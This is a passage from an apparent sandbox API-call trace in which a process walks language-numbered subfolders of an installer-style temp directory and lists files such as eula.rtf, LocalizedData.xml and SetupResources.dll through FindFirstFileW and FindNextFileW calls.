	[0041.391] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0041.391] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.391] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743030
	[0041.392] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.392] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.393] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.393] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.393] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.394] FindClose (in: hFindFile=0x743030 | out: hFindFile=0x743030) returned 1
	[0041.394] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.394] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0041.394] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.394] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742bb0
	[0041.396] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.396] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.396] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.396] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.396] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.397] FindClose (in: hFindFile=0x742bb0 | out: hFindFile=0x742bb0) returned 1
	[0041.397] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.397] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0041.397] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.397] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743030
	[0041.409] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.409] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.409] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.409] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.409] FindNextFileW (in: hFindFile=0x743030, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.411] FindClose (in: hFindFile=0x743030 | out: hFindFile=0x743030) returned 1
	[0041.411] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.411] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0041.411] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.411] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742ef0
	[0041.411] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.411] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.411] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.412] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.412] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.412] FindClose (in: hFindFile=0x742ef0 | out: hFindFile=0x742ef0) returned 1
	[0041.412] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.412] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0041.412] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.412] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742ef0
	[0041.413] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.413] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.413] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.413] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.413] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.414] FindClose (in: hFindFile=0x742ef0 | out: hFindFile=0x742ef0) returned 1
	[0041.414] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.414] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0041.414] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.414] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742e30
	[0041.415] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.415] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.415] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.415] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.415] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.418] FindClose (in: hFindFile=0x742e30 | out: hFindFile=0x742e30) returned 1
	[0041.418] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.418] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0041.418] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
